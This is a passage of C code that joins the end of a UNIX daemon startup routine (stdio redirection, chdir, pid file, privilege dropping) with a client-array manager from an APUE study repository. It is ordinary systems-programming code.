(pid > 0) { // terminate first child... exit(err_none); } else { /* pid == 0 */ // actual daemon starts here... int fd; if ((fd = open("/dev/null", O_RDWR)) < 0) { log_error("Unable to open /dev/null: %m"); SIGNAL_FAILURE(err_dev_null); } else { dup2(fd, STDIN_FILENO); dup2(fd, STDOUT_FILENO); dup2(fd, STDERR_FILENO); close(fd); } umask(0); if (chdir("/") != 0) { log_error("Unable to change directory: %m"); SIGNAL_FAILURE(err_chdir); } if (pid_file && write_pidfile(pid_file, uid, gid)) { SIGNAL_FAILURE(err_pid_file); } if (drop_privileges(uid, gid)) { SIGNAL_FAILURE(err_drop_privs); } // Finish startup... if (err_pipe[1] != -1) { SIGNAL_SUCCESS(); } } /* daemon pid == 0 */ } /* first child pid == 0 */ return err_none; }
0.996094
high
system/book_apue/apue_copy/chapter17/clientmgr.c
larryjiang/cs_study
0
849089
<reponame>larryjiang/cs_study #include "opend.h" #define NALLOC 10 static void client_alloc(void){ int i; if(client == NULL){ client = malloc(NALLOC * sizeof (Client)); }else{ client = realloc(client,(client_size + NALLOC) * sizeof (Client)); }; if(client == NULL){ err_sys("can't alloc for client array"); }; for(i = client_size; i< client_size + NALLOC; i++){ client[i].fd = -1; }; client_size += NALLOC; }; int client_add(int fd, uid_t uid){ int i; if(client == NULL){ client_alloc(); }; again: for(i = 0; i< client_size; i++){ if(client[i].fd ==-1){ client[i].fd = fd; client[i].uid = uid; return (i); }; }; client_alloc(); goto again; }; void client_del(int fd){ int i; for(i = 0; i < client_size; i++){ if(client[i].fd == fd){ client[i].fd = -1; return; }; }; log_quit("can not find client entry for fd %d", fd); };
0.921875
high